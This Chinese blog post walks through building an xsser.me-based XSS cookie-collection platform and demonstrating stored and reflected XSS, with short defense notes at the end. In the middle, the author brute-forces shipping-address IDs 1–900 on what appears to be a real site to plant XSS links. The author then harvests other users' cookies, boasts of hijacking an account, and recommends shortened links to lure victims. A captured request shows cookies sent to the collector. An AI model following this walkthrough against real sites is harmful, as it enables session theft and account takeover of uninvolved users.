XSS测试平台原理及XSS类型演示安全防护

2020-02-1119:28:19 1 28,481

XSS测试平台是测试XSS漏洞获取cookie并接收web页面的平台,XSS可以做js能做的所有事情,包括但不限于窃取cookie,后台增删文章、钓鱼、利用xss漏洞进行传播、修改网页代码、网站重定向、获取用户信息(如浏览器信息、IP地址等), 可能还会记录键盘输入,获取页面源码,获取内网ip,截取网页屏幕等。 这里使用的是基于xsser.me的源码。

XSS测试平台原理及XSS类型演示安全防护

今天记录学习XSS平台的工作原理,以及找出目标站点的XSS漏洞,包括反射类型与存储类型,然后实现盗取Cookie,并且替换Cookie登陆到其他人账户。了解Cookie中的httponly的属性和作用和XSS防护的技巧等知识。

跨站脚本攻击(XSS)漏洞能够使得攻击者嵌入恶意脚本代码到正常用户会访问到的页面中,当正常用户访问该页面时,则可导致嵌入的恶意脚本代码的执行,从而达到恶意攻击用户的目的。

XSS的三个类型:

1.存储型XSS( 持久型 )

存储型的攻击代码是存储在数据库等地方,每次访问页面都会触发XSS。

2.反射型XSS(非持久型)

反射型则是通过URL参数等方式在访问网页的时候直接提交攻击代码然后经过服务端再反射展示在页面上。

3. DOM跨站(DOM XSS)

不经过服务端,直接通过JS修改DOM树而导致

XSS平台工作原理

1.搭建XSS测试平台

以XSS Platform为例安装后在数据库中新建一个数据库,并将源码中的xssplatform.sql文件导入到数据库中。

XSS测试平台原理及XSS类型演示安全防护

修改config.php文件信息。

  • 修改数据库连接字段,包括用户名、密码和数据库名。
  • 修改URL配置为自己的url配置。
XSS测试平台原理及XSS类型演示安全防护

进入数据库中执行语句修改域名为自己的url配置:

UPDATE oc_module SET code=REPLACE(code,'http://xsser.me','http://127.0.0.1/xss') ;

打开网页注册

XSS测试平台原理及XSS类型演示安全防护

如果出现notfound的解决问题

  • 将www\xss\templates_c\..............register.html.php中的btn btn-success改为submit
  • 将www\xss\themes\default\templates\register.html中的btn btn-success改为submit
  • 清除浏览器缓存
XSS测试平台原理及XSS类型演示安全防护

如果需要邀请注册,则到数据库中把oc_user表中的用户的adminLevel值改为1,这样就可以管理邀请码了。 同时将config.php文件中注册配置中的normal改为invite。

创建一个.htaccess文件添加伪静态

<IfModule mod_rewrite.c>
RewriteEngine on
RewriteRule ^([0-9a-zA-Z]{6})$ index.php?do=code&urlKey=$1
RewriteRule ^do/auth/(\w+?)(/domain/([\w\.]+?))?$ index.php?do=do&auth=$1&domain=$3
RewriteRule ^register/(.*?)$ index.php?do=register&key=$1
RewriteRule ^register-validate/(.*?)$ index.php?do=register&act=validate&key=$1
RewriteRule ^login$ index.php?do=login
</IfModule>
2.搭建完成后登陆

创建一个项目进行测试。

XSS测试平台原理及XSS类型演示安全防护

创建一个1.html页面插入XSS恶意代码后打开,执行后只剩下了闭合符'">

XSS测试平台原理及XSS类型演示安全防护

同时,搭建好的XSS平台的c项目收到一条消息

XSS测试平台原理及XSS类型演示安全防护

下边用原生js代码来创建一个页面打开,拿burp抓包看下结果。

XSS测试平台原理及XSS类型演示安全防护
XSS测试平台原理及XSS类型演示安全防护
GET /xss/index.php?do=api&id=IgD7ni&location=路径&toplocation=路径&cookie=&opener= HTTP/1.1

可以看到,当打开连接(远程的js代码)后的信息发送到了XSS平台创建的C项目上。(如:css js 图片等都是浏览器自动化加载)

存储型XSS演示:

XSS测试平台原理及XSS类型演示安全防护
XSS测试平台原理及XSS类型演示安全防护

结果显示:这个XSS直接写入到数据库中。

下边对收货地址修改,尝试越权访问实现盗取别人的Cookie

XSS测试平台原理及XSS类型演示安全防护

这里把ID改为900放过,发现看到了别人的XSS。。。这里替换一波为自己的。

XSS测试平台原理及XSS类型演示安全防护
XSS测试平台原理及XSS类型演示安全防护

这里把ID:1到900的收货地址全部用暴力破解的形式跑一遍。全部插入XSS恶意代码的链接。( 这里用了数字组合 ,好像没设置好,先不管了,有空再研究)

XSS测试平台原理及XSS类型演示安全防护

然后通过条件判断筛选出收货地址修改成功的大概就这么些。

XSS测试平台原理及XSS类型演示安全防护

然后你懂的,XSS平台创建的项目就收到了不少小鱼儿。。

XSS测试平台原理及XSS类型演示安全防护

拿其中一个人的cookie修改后可以看出对方账户信息已被盗取,我已成功获得对方账户的权限。

XSS测试平台原理及XSS类型演示安全防护
XSS测试平台原理及XSS类型演示安全防护

存储型XSS的攻击代码是存储在数据库等地方,每次访问页面都会触发XSS。

反射型XSS演示:

正常搜索

XSS测试平台原理及XSS类型演示安全防护

测试XSS存在(<img src=1>)

XSS测试平台原理及XSS类型演示安全防护

把构造好的反射型XSS链接,转成短网址,可以发给别此网站的用户,诱导对方点击,然后即可获得对方的cookie信息。

反射型XSS:

1. 攻击者在url后面的参数中加入恶意攻击代码。
2. 当用户打开带有恶意代码的URL的时候,网站服务端将恶意代码从URL中取出,拼接在html中并且返回给浏览器端。
3. 用户浏览器接收到响应后执行解析,其中的恶意代码也会被执行到。
4. 攻击者通过恶意代码来窃取到用户数据并发送到攻击者的网站。

攻击者会获取到比如cookie等信息,然后使用该信息来冒充合法用户
的行为,调用目标网站接口执行攻击等操作。

XSS总结:大致上,攻击者进行XSS攻击见到框就X,要经过以下几个步骤:

XSS测试平台原理及XSS类型演示安全防护

XSS存在的原因

XSS 存在的根本原因是,对URL中的参数,对用户输入提交给web server的内容,没有进行充分的过滤。如果我们能够在web程序中,对用户提交的URL中的参数,和提交的所有内容,进行充分的过滤,将所有的不合法的参数和输入内容过滤掉,那么就不会导致“在用户的浏览器中执行攻击者自己定制的脚本”。

XSS防御

1. 对输入(和URL参数)进行过滤 (白名单和黑名单)

2. 对动态输出到页面的内容进行html编码,使脚本无法在浏览器中执行。

3. 使用相关的XSS防御服务

cookie安全策略

在服务器端设置cookie的时候设置 http-only, 这样就可以防止用户通过JS获取cookie。对cookie的读写或发送一般有如下字段进行设置:

http-only: 只允许http或https请求读取cookie、JS代码是无法读取cookie的(document.cookie会显示http-only的cookie项被自动过滤掉)。发送请求时自动发送cookie.
secure-only: 只允许https请求读取,发送请求时自动发送cookie。
host-only: 只允许主机域名与domain设置完成一致的网站才能访问该cookie。

https站点与http站点的不同

HTTP协议没有办法对通信对方的身份进行校验以及对数据完整性进行校验。如果通过http传过来的是一段恶意的字符串,那么浏览器也会当做是js语句来执行,可造成HTTP劫持。

HTTPS其核心是实现了对服务器身份认证、数据的私密性保护以及对数据完整性的校验等功能。

  • 版权声明: 发表于 2020-02-1119:28:19
  • 转载注明:https://www.wanqiandu.com/5985.html
匿名

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen:

评论:1   其中:访客  0   博主  0
    • avatar 无双 @回复 0

      很棒的文章继续加油吧